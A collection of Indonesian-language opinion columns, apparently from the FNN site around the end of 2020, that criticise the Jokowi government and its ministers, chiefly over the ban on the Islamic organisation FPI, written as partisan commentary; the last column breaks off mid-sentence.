by M Rizal Fadillah Bandung FNN – Jum’at (01/01). Jokowi itu Presiden dan semestinya memiliki satu wajah. Apakah ganteng atau setengah ganteng itulah wajahnya Jokowi. Kegantengan dimaksud adalah wajah kebijakan dan kualitas sebagai pengelolaan negara. Presiden dalam sistem kabinetdan pemerintahan presidensial, sangat menentukan dalam membentuk wajah Pemerintahan. Sejalan dengan pesannya bahwa tidak ada visi dan misi menteri. Yang ada adalah visi misi Presiden. Itu sanagat jelas dan tegas dinyatakan Jokowi. Hasil Riset kepuasan masyarakat yang dilakukan oleh lembaga riset SMRC milik Saiful Mujani mencapai angka spektakuler 74 % tingkat kepuasan. Sebagian publik yang terbaca dari komentar di media sosial (medsos) meragukan akurasi dan obyektivitas riset tersebut. Kesan sebagai hasil riset pesanan pun bermuncul dalam berbagai komentar. Sayang kita tidak memiliki alat atau lembaga kontrol yang dapat memberi sanksi kepada kerja riset yang bersifat tipu-tipu tersebut. Dampaknya adalah hasil riset yang seperti ini diperkirakan bakal muncul lagi ke masyarakat. Kondisi ini dapat dipahami. Apalagi selama pesanan masih berdatangan di tengah kondisi ekonomi yang resesi seperti sekarang. Wajah Jokowi tentu terlihat pada kinerja para menterinya. Tercatat empat Menteri terbaca oleh publik yang menggiring pada konklusi bahwa Pemerintahan Jokowi itu memang berwajah buruk. Disadari atau tidak, mestinya satu persatu wajah mereka dinilai, akan tetapi empat menteri ini yang mudah dan langsung terbaca publik. Pertama, Menteri Keuangan yang nampak kalang kabut karena hutang luar negeri mencapai sduah mencapai Rp. 6.000 triliun. Bunga tahun ini yang harus dibayar berjumlah Rp. 300 triliun. Untuk tahun 2021, bunga hutang dianggarkan sebesar Rp. 373,3 triliun. Sementara investasi jeblok, dan pertumbuhan ekonomi kuartal III tahun 2020 minus -3,49 %. Kedua, Menteri yang diberi gelar "atur segala urusan" Luhut Binsar Panjaitan. Menko Maritim dan Inveastasi (Marinvest) ini menjadi garda terdepan kerjasama dengan Republik Rakyat China (RRC). Program One Belt One Road (OBOR) menjadi andalannya. Rakyat masih pesimis bahwa kerjasama dengan RRC hanya ilusi. Bukan solusi. Konflik tenaga kerja Cina dengan pribumi menjadi sinyal dari instabilitas ke depan Pemerintahan Jokowi ke depan. Ketiga, Menteri Agama yang dianggap selalu memojokan umat Islam. Fakhrul Rozi terus kampanye soal radikalisme, intoleransi, dan ekstrimisme yang arahnya adalah umat Islam. Yaqut pengganti Rozi ribut untuk mengafirmasi Ahmadiyah dan Syi'ah yang dianggap sebagai ajaran sesat. Terakhir soal tekad untuk memerangi populisme Islam yang juga menyinggung perasaan umat Islam. Keempat, Mahfud MD Menko Politik, Hukum dan Kemanan (Polhukam). Cendekiawan dan Guru Besar yang awalnya banyak didengar karena "bijak" dan moralis. Setelah menjadi Menko, maka ucapannya mulai mencla-menclo. Lebih berposisi sebagai politisi ketimbang cendekiawan.Terakhir arogan, otoriter, dan menginjak-injak hukum dengan membubarkan dan melarang Front Pembela Islam (FPI). Disamping empat wajah itu, masih ada lagi wajah yang seram Hendropriyono. Orang ini jago main ancam. Merasa dirinya seperti masih menjadi tentara aktif saja. Mengancam yang menjadi pelindung anggota FPI, mengancam organisasi lain "tunggu giliran". Hendroprijono yang Jendral TNI (Purn.) Kehormatan (Hor.) ini merasa dan berprilaku laku seperti paling sendiri jago di republik ini. Jangan-jangan otak pembubaran dan pelarangan FPI datang darfi sang Guru Besar intelijen tersebut. Republik Indonesia seperti mau dibawa menjadi negara fasis, seperti zamannya Hitler, Mussolini, Tito, dan Stalin dulu. Seenaknya saja main ancam dan menakut-nakuti rakyat. Pak Hendroprijono kan bukan Mussolini, Hitler, Tito dan Stalin, yang bermodal kekuasaan dan senjata, sehingga bisa berbuat apa saja. Kemal Attaturk atau Ariel Sharon tak berdaya dan "ampun-ampunan" menghadapi sakaratul maut tuh. Jabatan dan kekuasaan bukan untuk gagah-gagahan. Tetapi amanah yang harus ditunaikan dengan adil. Begitulah konstitusi negara UUD 1945 membimbing dan memandu kita dalam berbangsa dan bernegara. Hebatnya para pendiri bangsa meninggalkan warisan terbesar dan terbaik untuk anak cucunya. Jika tidak berlaku adil, maka akibatnya adalah penyesalan. Mantan Menkopolkam Sudomo saat diperiksa Komnas HAM menyatakan bahwa peristiwa pembantaian di Pesantren Talang Sari Lampung itu yang bertanggungjawab adalah Danrem Garuda Hitam 043. Lala siapa yang menjabat Danrem Garuda Hitam Lampung? Dialah Kolonel TNI. Hendropriyono. Jadi, kini semakin nampak jelas empat plus satu wajah Jokowi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pembubaran FPI, “Memperkosa” Kemerdekaan Berserikat dan Berkumpul (2)

by Mochamad Toha Surabaya, FNN - Jumat (01/21). Menurut Panglima Laskar Pembela Islam (LPI) Maman Suryadi Abdurrahman bahwa jumlah anggota FPI saat ini mencapai lebih dari satu juta orang. Maman juga memastikan bahwa FPI tidak dalam tujuan mendorong Indonesia berpaham khilafah. Mereka bahkan memasang bendera merah-putih dalam seragam untuk memastikan tidak anti NKRI. “Tujuan kami adalah menjadikan Indonesia, di mana Islam adalah agama mayoritas rakyat, menjadi religius dan bersih dari amoralitas,” kata Abdurrahman. “Kami menginginkan negara Islami, bukan negara Islam, karena negara yang religius akan mencegah negara dari menderita ketidakadilan sosial,” sambungnya. Pemahaman seperti ini tampaknya sudah bisa diterima Presiden Donald Trump. Atensi media AS tersebut setidaknya menggambarkan sikap politik Pemerintahan Donald Trump. Pujian The Washington Post atas kiprah FPI terkait bantuan ketika ada bencana alam tentu sangat menarik untuk dikaji. Pasalnya, selama ini sejak kampanye Pilpres AS lalu, Trump dikenal dengan kebijakannya “anti” Islam, sampai membatasi orang Islam yang mau masuk AS. Pujian The Washington Post atas kiprah FPI bisa mewakili sikap Pemerintah AS. Tapi, sayangnya di dalam negeri, sikap Presiden Jokowi bertolak belakang dengan Presiden Trump. Presiden Jokowi sepertinya mengikuti arus deras desakan Pembubaran FPI. Jika ini terjadi, dan akhirnya benar-benar terealisasi, diperkirakan bakal ada perlawanan dari FPI dan simpatisannya. Secara yuridis, sebenarnya ada ketegasan hukum berdasarkan Putusan MK Nomor 82/PUU-XI/2013 bahwa sebagai bagian dari kebebasan berserikat menurut UUD 1945, maka Ormas bisa mendaftarkan kepada instansi yang berwenang dan bisa juga tak mendaftarkan izinnya. Tetapi negara tidak dapat menyatakannya sebagai organisasi terlarang dan juga tidak boleh melarang ormas untuk melakukan kegiatannya, “Sepanjang kegiatannya tidak melanggar ketertiban umum dan melawan hukum,” lanjut Sugito. Dari sini jelas bahwa FPI tidak perlu mendaftarkan izinnya, apalagi jika pemerintah tidak memperpanjang izinnya sebagaimana pernyataan Presiden Jokowi. FPI sebagai ormas tetap saja bisa menjalankan kegiatannya. Dengan demikian tak ada kandungan makna dari tekanan pihak yang tidak senang untuk mendorong pembubaran FPI. Pasalnya bahwa tidak ada alasan yuridis yang kuat dari pemerintah untuk membubarkannya sebagaimana pemerintah membubarkan PKI. Dalam konteks FPI bahwa alasan yuridis apa yang dipergunakan untuk membubarkan FPI? Pertanyaan yang mengemuka kemudian adalah dari mana datangnya desakan keras untuk membubarkan FPI, sebagaimana HTI beberapa waktu lalu? “Dua pertanyaan inilah yang belum terjawab,” tegas Sugito. Pernyataan Presiden dengan jelas menyatakan, FPI dapat saja dibubarkan, jika memiliki ideologi yang berbeda dengan ideologi bangsa, Pancasila serta memiliki kecenderungan mengancam keamanan NKRI. Pernyataan ini semakin selaras dengan semangat jargon ‘Pancasila dan NKRI Harga Mati!’ yang identik diserukan oleh massa politik pendukung Presiden Jokowi. Makanya, massa Islam di luar itu dianggap pendukung khilafah, Pan Islamisme, radikalisme, dan seterusnya. Tentu saja mereka memasukkan FPI di dalamnya. Izin FPI pun kemudian tak diperpanjang lagi sebagai langkah awal. Itulah sebabnya dalam wawancara dengan Associatte Press (AP), Jokowi dengan lugas menyebut bahwa FPI dapat saja dibubarkan. Suatu keadaan yang tidak jauh berbeda dengan ulama besar FPI, Habib Rizieq Shihab yang saat itu berada di Arab Saudi dan dianggap sebagai tokoh Islam yang menolak mengakui kemenangan Jokowi pada Pilpres 2019. Semua itu memperkuat keyakinan bahwa adanya desakan pembubaran FPI semata terkait alasan politis untuk mengurangi kelompok yang mendelegitimasi keabsahan hasil Pilpres 2019. HRS dan FPI praktis dikondisikan untuk dipinggirkan. Aksi provokatif untuk meminggirkan FPI berujung pada usaha untuk membubarkannya. Kita juga memaklumi ada banyak kekuatan modal yang mengelola usaha “underground “, bawah tanah, dan memiliki sikap anti terhadap kiprah organisasi massa Islam ini. “Mereka yang bergelut pada bisnis dan pemakaian narkoba, pelacuran, perjudian, dan hiburan malam penuh maksiat memilih posisi berhadapan (resisten) dengan FPI. Kelompok ini begitu gusar dengan intensitas kerja FPI,” tegas Sugito. Mereka menganggap bahwa intensitas kerja FPI ini mengancam keberlangsungan bisnis dan aktivitas yang menciptakan penyakit sosial (social disease) itu. Celakanya kelompok underground ini memiliki kapitalisasi untuk menanamkan pengaruhnya kepada publik dengan kampanye anti Ormas Islam yang memerangi kemaksiatan tersebut. FPI yang memiliki kader dengan mobilitas tinggi dalam aksi memerangi penyakit sosial ini kemudian disebut lantang dan disindir dengan stigma mengejek, seperti ujaran ‘Preman Berjubah’ guna mengidentifikasi massa FPI. Dalam tudingan yang lebih serius mencapai klimaksnya hari-hari terakhir ini, khususnya pasca Pilpres 2019 dalam mana Jokowi melanjutkan ambisi dua periode kekuasaannya di singgasana kursi presiden. Menurut Sugito, FPI yang dikenal sebagai penopang massa politik pendukung Prabowo Subianto – Sandiaga Uno pada Pilpres 2019, kian tersudutkan tidak ubahnya parpol-parpol Koalisi Adil Makmur. Situasi ini kemudian seolah mendapatkan angin untuk menyerukan pembubaran FPI dengan alasan, dalam AD FPI ingin menerapkan Syariat Islam di bawah naungan Khilafah, sehingga diklasifikasikan sebagai organisasi yang hendak merongrong ideologi bangsa. Luar biasa rasa kebencian yang dibangun dalam alam sadar penentang FPI yang melakukan provokasi meski mengalami kebutaan literasi. Pengusung kebencian yang memprovokasi pembubaran FPI tidak memahami latar belakang hadirnya FPI sebagai Ormas Islam yang inklusif (terbuka). FPI jelas berkiprah untuk menggerakkan misi ammar ma’ruf nahi munkar (mengajak pada kebaikan, memerangi kemungkaran) dalam menyelesaikan berbagai problem kemanusiaan dengan pendekatan Keislaman melalui kerja kolektif dari seluruh umat Islam. Mereka tak menyadari bahwa FPI didirikan oleh para haba’ib, ulama, muballigh serta aktivis muslim dan umat Islam serta dipelopori oleh Muhammad Rizieq Shihab pada 17 Agustus 1998 (24 Rabiuts Tsani 1419 H) di Ponpes Al-Umm Ciputat. Misi utamanya pada waktu itu adalah mengumandangkan reformasi moral dengan memiliki kewajiban untuk berperan serta dalam memberikan kontribusi positif untuk kemajuan bangsa. Masyarakat yang bersimpati dengan FPI menyadari betul misi sosial ormas ini. Di mana ada aksi penyelamatan bencana alam dan bencana sosial, seperti konflik rasial di seluruh penjuru negeri, FPI selalu menjadi unsur masyarakat sipil yang tampil terdepan dalam memberikan bantuan dan penyelamatan korban bencana (relief). Aksi ini yang kemudian menuai simpati luas dan bahkan menarik atensi media massa asing, meski media massa mainstream nasional menutup mata dalam lima tahun terakhir. Sebelum menindaklanjuti niat untuk tidak memperpanjang izin Ormas FPI, Presiden harus kaji lagi. Sesuai desakan pendukung politiknya, pemerintah perlu wise (bijak bestari) untuk bersedia mengkaji secara cermat dan mendalam terhadap apa saja alasan yuridis yang tepat untuk dapat membubarkan organisasi massa Islam, seperti FPI. Hal ini menjadi niscaya karena jika dilakukan cuma atas dasar ketidaksukaan bisa berdampak atas pemasungan hak sipil konstitusional warga negara, serta menurunnya kualitas demokrasi di negeri ini akibat terpasungnya kebebasan rakyat untuk berserikat dan berkumpul. Pembubaran FPI oleh 6 pejabat Pemerintah itu bisa dianggap “mengebiri” kebebasan rakyat yang bertentangan dengan UUD 1945. Jelas, Pemerintah telah “memperkosa” UUD 1945. selesai. Penulis adalah Wartawan Senior FNN.co.id.

Hanya Ada Dua Macam: Hukum Kosmetik dan Hukum Rimba

by Asyari Usman Medan FNN - Kamis (31/12). Sejak kemarin (30/12/2020) banyak sekali tulisan, cuitan, status, dlsb, yang intinya menilai pembubaran FPI sebagai tindakan yang bertentangan dengan hukum. Tidak sesuai dengan prinsip “due process of law”. Pembubaran itu tidak mematuhi hukum. Alias, sewenang-wenang. Begitu penilaian banyak orang. Sebetulnya, respon masyarakat terhadap pembubaran FPI lewat SKB 6 menteri, sangat bagus sekali. Publik masih menerikakkan mana proses hukum? Kenapa penguasa bertindak sesuka hati? Masyarakat bilang, Pemerintah melanggar UU ini dan itu. Pemerintah zalim, dst. Ini menunjukkan bahwa warga negara Indonesia ini, khususnya pihak yang terlindas kesewenangan, masih berpegang teguh pada hukum. Masih taat hukum. Memang seperti itulah seharusnya. Luar biasa orang Indonesia. Ketika penguasa mengumumkan pembubaran FPI, spontan khalayak bertanya: mana proses hukumnya? Artinya, masyarakat ingin agar semua tindakan penguasa memiliki landasan hukum. Bersyukurlah kita bahwa rakyat masih tetap menghormati hukum. Cuma, yang perlu diingat ialah bahwa respon yang taat hukum, untuk saat ini, kelihatannya salah alamat. Reaksi yang bagus itu seharusnya ditujukan kepada para penguasa yang menjunjung tinggi asas taat hukum juga. Di situ kekeliruannya. Anda menyangka pengelolaan negara ini sudah sesuai dengan hukum yang disusun dan disetujui oleh rakyat. Padahal, mereka menggunakan hukum yang mereka buat sendiri, yaitu hukum yang lahir dari kesewenangan. Kalau pun mereka ada menyebutkan UU yang jadikan landasan, itu semua mereka perlakukan seperti kosmetik di wajah. Sebagai dandanan saja. Tentu Anda tahu kosmetik itu bisa dihapus, ditipiskan, ditebalkan, diukir, dicampur, dlsb. Inilah hukum kosmetik. Merah di bawah mata, biru muda di atas alis, tebal di bagian borok, tipis di bagian hidung. Jadi, teriakan-teriakan tentang penguasa melanggar hukum, pastilah terdengar aneh di telinga mereka. Sebab, mereka merasa apa saja yang mereka lakukan itu sudah sesuai dengan hukum kosmetik. Selain hukum kosmetik, ada lagi hukum rimba. Titah para penguasa menjadi putusan tertinggi yang harus dilaksanakan. Sebagai ‘rule of law’. Kalau penguasa ingin supaya sebuah organisasi diberangus, atau mereka ingin agar seseorang maupun kelompok orang dilenyapkan, maka keinginan itu langsung menjadi pasal-pasal hukum yang wajib diegakkan. Kalau para penguasa ingin agar orang ini dan orang itu masuk penjara, walau tak punya landasan hukum, maka akan dicarikan pasal-pasal yang bisa menjerat orang itu. Tidak ada protes. Tidak ada pembelaan yang diterima. Yang berlaku adalah aturan di hutan rimba. Begitulah hari ini. Hanya ada dua hukum: yaitu hukum kosmetik dan hukum rimba.[] Penulis adalah Wartawan Senior FNN.co.id.

Catatan Akhir Tahun, Tak Ada Yang Berubah

by Dr. Ahmad Yani, SH. MH. Jakarta FNN – Kamis (31/12). Kita sudah di penghujung tahun 2020 dalam hitungan Masehi dan Fajar 2021 akan segera menyingsing. Bagi orang yang beriman dan berakal dalam beberapa kesempatan dan waktu, hendaklah berhenti sejenak untuk muhasabah atau menghitung-hitung diri dan amal yang telah dilakukan pada hari-hari yang lalu. Kemudian berusaha memperkuat keinginan untuk dapat memperbaiki dan menambah amal kebaikan untuk bekal hari esok. Pada hari kemarin (Sepanjang 2020) kita banyak menghadapi cobaan-cobaan yang sedemikian dahsyat. Kita berhadapan dengan Covid-19, suatu penyakit yang telah merenggut nyawa lebih dari 21 ribu manusia Indonesia. Wabah ini tidak hanya menyerang kesehatan kita. Tetapi juga menyerang ekonomi dan semua kehidupan kita. Dan yang paling terasa akibat Wabah ini adalah ekonomi rakyat. Covid-19 telah melumpuhkan aktivitas ekonomi. Membawa Indonesia pada jurang resesi dan krisis ekonomi. Krisis ekonomi yang demikian itu membawa dampak sosial. Sebab dalam situasi krisis, frustasi dan kelaparan akan terus menghantui kehidupan masyarakat. PBB bahkan sudah mengingatkan bahwa krisis ini telah membunuh sekitar 10.000 anak per bulan karena pasokan makanan yang terputus antara pertanian-pasar dan desa-desa yang terisolasi dari bantuan makanan dan medis. Dan sekitar 7 juta orang meninggal karena kelaparan di seluruh dunia. Indonesia baru-baru ini terjadi di Nias Sumatera Utara. Seorang Ibu tega membunuh tiga orang anaknya akibat himpitan ekonomi. Pembunuhan sadis itu menjadi cerminan bagi kita. Kalau seseorang terhimpit ekonomi, lebih bersedia menanggung hukuman daripada menanggung derita himpitan ekonomi. Setelah 75 tahun merdeka, ternyata persoalan itu menjadi persoalan pelik. Janji kesejahteraan nampaknya kehilangan peta jalan. Rakyat masih saja dengan kasus lama, yaitu menghadapi getirnya memenuhi kebutuhan sehari-hari. Negara seakan tak mampu memberikan jawaban konkrit atas desakan keadaan masyarakat yang semakin kritis. Demikian pula kekuasaan. Meski telah banyak kekuasaan jatuh bangun, namun masalahnya tetap sama, rakyat masih tidak mendapatkan janji kemerdekaan itu. Hari berganti hari. Bulan berganti bulan. Tahun berganti tahun. Namun perubahan menuju indonesia yang merdeka, berdaulat, adil dan makmur hanya menjadi slogan semata. Apa Problemnya? Sepanjang periodesasi kekuasaan semenjak Soekarno hingga Jokowi sekarang ini, bangsa ini hanya disibukkan dengan perebutan kekuasaan dan mempertahankan kekuasaan. Masyarakat dipecah belah untuk saling membenci demi memenuhi hasrat kekuasaan. Nafsu kekuasaan yang berlebihan membuat ingatan masa lalu terus hidup. Pertengkaran demi pertengkaran terus diproduksi. Para penguasa merasa senang dengan semua itu, untuk mempertahankan kekuasaannya. Maka lahirlah polarisasi dalam masyarakat dan permusuhan antar bangsa. Sementara persoalan ketidakadilan, korupsi, hutang, gempuran tenaga kerja asing, kekerasan aparat, tidak pernah jeda sedikitpun. Upaya untuk mencari jalan keluar dari semua problem itu sangat kecil. Malah justru memperlebar kekuasaan untuk menangkal protes publik dari segala permasalah itu. Problem Utama Masalah mendasar yang membuat bangsa ini sulit mencapai kemajuan sebenarnya bukan karena persoalan ekonomi atau politik saja. Tetapi yang paling mendasar adalah masalah ketidakadilan. Inilah hulu yang menyebabkan kesengsaraan sosial dan kesengsaraan ekonomi, kesengsaraan hukum, kesengsaraan moral dan kesengsaraan lainnya yang dirasakan bangsa ini. Terjadi kesenjangan sosial yang tak kunjung teratasi antara kelompok kaya dengan miskin. Bidang ekonomi, kehidupan dirasakan semakin berat. Bidang hukum, kesengsaraan akibat hukum tumpul ke golongan yang kuat dan tajam ke yang lemah. Efeknya HAM tidak dihiraukan. Betapa mudahnya mengeksekusi mati manusia tanpa pengadilan, menangkap dan memenjarakan pikiran manusia. Berbagai bidang kerusakan inilah yang disebut kerusakan moral. Kehidupan bangsa hampir tanpa rujukan moral. Kita seperti bangsa yang tak memiliki moral. Ketergantungan pada bangsa asing. Hutang yang sudah menumpuk dan pengepungan bangsa asing melalui tenaga kerja Asing tak dapat diatasi lagi. Ketidakadilan ini terasa sangat menyengat. Dari tahun ke tahun, penguasaan ribuan hektare lahan oleh segelintir orang. Sayangnya, selama itu pula belum ada solusi yang bisa memenuhi rasa keadilan bagi rakyat banyak. Masalahnya masih sama, yaitu ketidakadilan sosial. Apakah kita masih menjunjung tinggi negara Pancasila sebagai falsafah berbangsa dan bernegara? Kalau memang kita masih berpegang pada Pancasila, kenapa keadilan sosial masih yatim-piatu? Korupsi Yang Masih Akut Penyebab lain adalah korupsi yang masih akut. Kasus suap yang melibatkan Komisioner KPU Wahyu Setiawan dan Politisi Harun Masiku, yang sampai saat ini belum diketahui dimana rimbanya. Kasus itu belum terungkap dengan jelas, karena dana diduga mengalir ke petinggi partai politik tertentu. Lebih mencengangkan dalam satu bulan dua orang menteri ditangkap KPK karena Korupsi. Lebih mengiriskan hati kita semua, terjadi korupsi bantuan sosial ditengah rakyat yang teriak kelaparan. Menteri Kelautan dan Perikanan Edhi Prabowo dan Menteri Sosial Juliari Batubara. Menurut Majalah Tempo, korupsi dana bansos itu mengalir ke partai tertentu, dan orang-orang yang berhubungan dengan kekuasaan. Ketika rakyat terbebani dengan bencana, masih saja ada oknum yang tak bermoral terus melakukan upaya untuk meraup keuntungan sendiri demi memenuhi ambisinya. Kekerasan Negara Guna melindungi kekuasaan dari protes akibat ketidakadilan dan korupsi, maka digunakan cara-cara kekerasan. Ada kekerasan sosial, kekerasan ekonomi, kekerasan politik dan kekerasan hukum. Masyarakat yang paling bawah mengalami kekerasan itu secara simultan. Berbagai kasus kekerasan sosial telah dan sedang terjadi, menghantam aktivis lingkungan, aktivis politik dan aktivis HAM. Salah satunya adalah kematian 6 Laskar Front Pembela Islam (FPI) dapat dianggap sebagai kekerasan negara terhadap warga negara. Penembakan yang terjadi di kilometer 50 itu, sampai hari ini belum menemukan titik terang. Kenapa mereka dibunuh? Jawaban yang dapat kita duga adalah keterlibatan negara dalam kekerasan tersebut. Setelah "anak buahnya" ditembak mati, pimpinan FPI HRS ditangkap dengan tuduhan menghasut kerumunan. Pesantren FPI di Megamendung Bogor ingin diambil negara dengan alasan penguasaan tanah secara ilegal. Padahal menurut pengakuan FPI tanah itu sudah dibeli dari masyarakat. Mirisnya, ketika lahan dikuasai oleh korporasi besar yang jumlahnya mencapai 80%, namun hanya bangunan pesantren yang dipersoalkan. Ini ketidakadilan yang terang benderang. Yang lebih mencengangkan dipenghujung tahun 2020 tepatnya 30 Desember 2020 pemerintah mengambil keputusan yang akan sulit dilupakan dalam ingatan oleh 7 juta orang anggota FPI dan Jutaan masyarakat Indonesia baik yang simpatisan maupun yang menginginkan tegaknya rule of law dan keadilan. Yaitu mengeluarkan larangan berkegiatan bagi Front Pembela Islam (FPI). Ada tiga alasan pembubaran FPI versi pemerintah. Pertama, adanya Undang-Undang Nomor 16 Tahun 2017 tentang Organisasi Kemasyarakatan (Ormas) dimaksudkan untuk menjaga eksistensi ideologi dan konsensus dasar negara, yakni Pancasila, UUD 1945, keutuhan NKRI, dan Bhinneka Tunggal Ika. Kedua, isi anggaran dasar FPI dinyatakan bertentangan dengan Pasal 2 Undang-Undang Ormas. Ketiga, Keputusan Mendagri Nomor 01-00-00/010/D.III.4/VI/2014 tanggal 20 Juni 2014 tentang Surat Keterangan Terdaftar (SKT) FPI sebagai ormas berlaku sampai 20 Juni 2019 dan sampai saat ini belum memenuhi syarat untuk memperpanjang SKT. Karena itu secara de jure terhitung mulai tanggal 21 Juni 2019 Front Pembela Islam dianggap bubar. Padahal dalam Putusan MK No. 82/PUU-XI/2013 telah menyatakan bahwa Pasal 16 ayat (3) dan Pasal 18 UU Ormas, yang mewajibkan organisasi memiliki SKT, bertentangan dengan UUD 1945. Penjatuhan sanksi, pelarangan kegiatan, ataupun pembubaran organisasi secara sepihak oleh negara dengan menggunakan UU Ormas sebagai dasar hukum, sangat bertentangan dengan prinsip-prinsip negara hukum, membatasi kebebasan sipil, serta berbahaya bagi keberlangsungan demokrasi. Oleh karena itu peristiwa pembubaran FPI dapat dianggap sebagai kekerasan negara, karena tidak menggunakan prosedur hukum yang berlaku. Kekerasan negara juga terjadi ketika mahasiswa dan aktivis melakukan protes massal. Tak jarang terjadi kekerasan dari aparat. Kekerasan pada saat penolakan Undang-undang Omnibus Law, kekerasan ketika penolakan Revisi UU KPK yang menyebabkan 2 orang meninggal dunia di kendari. Begitu juga kekerasan terhadap aktivis lingkungan dan masyarakat yang melakukan perlawanan terhadap represifnya kekuasaan akibat penggusuran dan penguasaan lahan oleh korporasi besar. Pembangunan yang tidak ramah lingkungan dan tidak pro rakyat kecil memompa protes rakyat diberbagai wilayah. Krisis dan Utang Kita sudah mengalami krisis ekonomi. Pemerintah telah mengumumkan bahwa Indonesia telah masuk ke jurang resesi ekonomi. Dampak dari resesi ini akan menyebabkan pengangguran, kemiskinan dan ketimpangan semakin melebar. Sementara itu, utang negara sudah mencapai Rp 6. 000 triliun. Hutang yang terus meningkat itu menurut Rizal Ramli akan memperparah kondisi perekonimian nasional. Karena uang hasil utang dipergunakan untuk membayar hutang. Setelah utang terus meningkat, justru pertumbuhan ekonomi turun. Berarti ada masalah pada penggunaan dana yang berasal dari utang. Ada ketidakefektifan dalam menggunakan hutang itu. Menurut ekonom Faisal Basri, Pemerintahan Jokowi terlalu boros menggunakan hutang. Hingga Jusuf Kalla mengatakan Indonesia menggunakan hutang untuk bayar hutang. Sulitnya Indonesia keluar dari jebakan hutan dan krisis memperpanjang dan memperlebar kemiskinan dalam negeri. Hingga sampai saat ini kesenjangan dan kemiskinan masih menjadi problem utama. Melihat Indonesia 2021 Yang terekam di tahun 2020 adalah masalah dan masalah saja. Mulai dari persoalan ekonomi, sosial, politik dan hukum yang terasa tidak adil. Lalu Seperti apa kita memprediksi keadaan 2021? Semua problem yang terjadi selama tahun 2020 belum teratasi. belum ada yang dituntaskan satu pun. Kita dapat lihat bahwa Tahun 2021, Indonesia tidak akan banyak yang berubah. Masih berkutat pada masalah krisis ekonomi yang diprediksi akan semakin memburuk di tahun 2021. Masalah pelanggaran HAM, masalah polarisasi di tengah masyarakat, dan masalah kesenjangan lainnya. Diperparah lagi dengan Covid-19 belum kunjung di atasi, bahkan keadaannya makin tak menentu. Sementara masyarakat banyak yang kehilangan pekerjaan dan pendapatan akibat virus ini. Menurut saya, 2021 hanya akan berubah apabila ada suksesi nasional. Ada perubahan penting yang terjadi dalam kehidupan berbangsa dan bernegara kita. Karena selama pemerintah masih mementingkan kekuasaan ketimbang keselamatan dan kesejahteraan negara, selama itu pula perubahan tidak akan pernah datang. Sebagai orang yang beriman, perubahan itu niscaya. Siapa yang lebih baik dari hari kemarin adalah mereka yang beruntung. Tetapi apabila ia masih sama seperti hari kemarin maka ia merugi. Semoga kita bukan orang yang rugi itu. Wallahu Alam bisshawab. Penulis adalah Dosen FH, Fisip Universitas Muhammadiyah Jakarta dan Advokat.

FPI Dibubarkan, Mati Satu Tumbuh Seribu

by Tjahja Gunawan Jakarta FNN - Kamis (31/12). Rezim Jokowi kembali menunjukkan sikap otoriternya. Setelah membubarkan Hizbut Tahrir Indonesia (HTI) pada 19 Juli 2017, Jokowi kembali membubarkan Ormas Islam Front Pembela Islam (FPI), Rabu 30 Desember 2020. Bahkan pembubaran FPI didahului dengan pembunuhan terhadap enam orang laskar FPI yang mengawal perjalanan Habib Rizieq Shihab pada Senin dinihari (7/12). Setelah membunuh dengan keji enam orang syuhada, beberapa hari kemudian aparat kepolisian menahan Habib Rizieq di Polda Metro Jaya. Setelah itu berbagai tuduhan dan gugatan kepada Habib Rizieq dan FPI datang silih berganti. Kasus lama yang sudah di SP-3 pun dibuka kembali. Kasus chat sex yang dituduhkan ke Habib Rizieq, sengaja dihidupkan kembali oleh pengacara yang ingin namanya terkenal yakni Febriyanto Dunggio. Beliaulah yang menggugat dikeluarkannya SP3 tersebut. Tidak hanya itu, lahan seluas 30 hektar lebih di Kawasan Megamendung yang telah dibeli Habib Rizieq dari para petani yang telah menggarap lahan disana puluhan tàhun, tiba-tiba sekarang mau diambil alih oleh PTPN VIII. Terhadap kasus lahan yang sekarang dijadikan pesantren Megamendung maupun tentang pembubaran FPI, Habib Rizieq telah memberikan pernyataan secara terbuka kepada publik sebelum beliau ditahan. Habib seolah sudah mengetahui dengan apa yang hendak dilakukan rezim Jokowi kepada dirinya dan FPI. Tidak Ambil Pusing Habib Rizieq sudah sejak lama menyatakan dirinya tidak ambil pusing jika sampai FPI dibubarkan. Pernyataan tersebut disampaikan Habib jauh sebelum dia pergi ke Arab Saudi tiga setengah tahun lalu. Video tersebut kembali viral di media sosial beberapa jam setelah pemerintah mengumumkan Pembubaran FPI, Rabu siang (30/12). Sebelum rezim Jokowi membubarkan FPI, Habib Rizieq sudah lama mencium adanya gerakan yang ingin membubarkan ormas yang dipimpinnya itu. "Apa kerugian yang akan dialami bangsa Indonesia seandainya FPI sampai dibubarkan ? Secara pribadi kalau FPI dibubarkan tidak ada masalah. Kalau hari ini Front Pembela Islam dibubarkan, maka besok akan saya bikin Front Pecinta Islam. Dengan singkatan yang sama, pengurus yang sama, gerakan yang sama dan wajah yang sama pula, kan UU tidak melarang. Jadi saya tidak pernah pusing dengan pembubaran," tegas Habib Rizieq. Nanti kalau Front Pecinta Islam juga dibubarkan, lanjut Habib, maka akan saya bentuk Front Penyelamat Islam. "Jadi mengapa pusing-pusing, saya tidak pernah pusing mengenai pembubaran ini, tidur saya tetap nyenyak," kata Habib dalam tayangan video itu. Habib menegaskan, ada FPI atau tidak ada FPI amar makruf nahi mungkar tetap wajib dijalankan. Ada FPI atau tidak ada FPI, perjuangan para kader FPI yang ada dimana saja tetap berjalan. Dia menegaskan bahwa dirinya dan kawan-kawan di FPI tidak pernah menjadikan FPI sebagai tujuan perjuangan. Dalam berbagai kesempatan, Habib selalu mengingatkan, FPI cuma kendaraan (wasilah). Jadi kalau kendaraan (FPI) ini rusak ditengah jalan atau dibakar orang atau dicuri orang atau kendaraan terbalik dan tidak bisa dipakai lagi, tinggal diganti dengan kendaraan yang lain. "Tujuan (ghoyah) kita hanya mencari ridha Allah, tujuan kita Li’ilai Kalimatillah Subhanahu Wa Ta’ala (Meninggikan kalimat Allah). Jadi bukan tujuan kita mencitrakan FPI, membaguskan FPI, membesarkan FPI. Itu hanya proses perjuangan, tujuannya Li’ilai Kalimatillah Subhanahu Wa Ta’ala," kata Habib Rizieq. Beliau melihat pembubaran FPI merupakan gerakan sistimatis yang dilakukan musuh-musuh Islam. Diakui bahwa yang concern terhadap Amar Ma’ruf Nahi Mungkar terhadap penegakan keadilan melawan kedholiman, bukan hanya urusan FPI tetapi juga merupakan kepentingan umat Islam. Oleh karena itu keputusan pemerintah membubarkan FPI kemungkinan akan dijadikan proyek percontohan untuk memberangus ormas lain yang juga lantang melawan setiap praktek kedzoliman di negeri ini. Dengan begitu, nanti masyarakat jadi takut melawan praktek 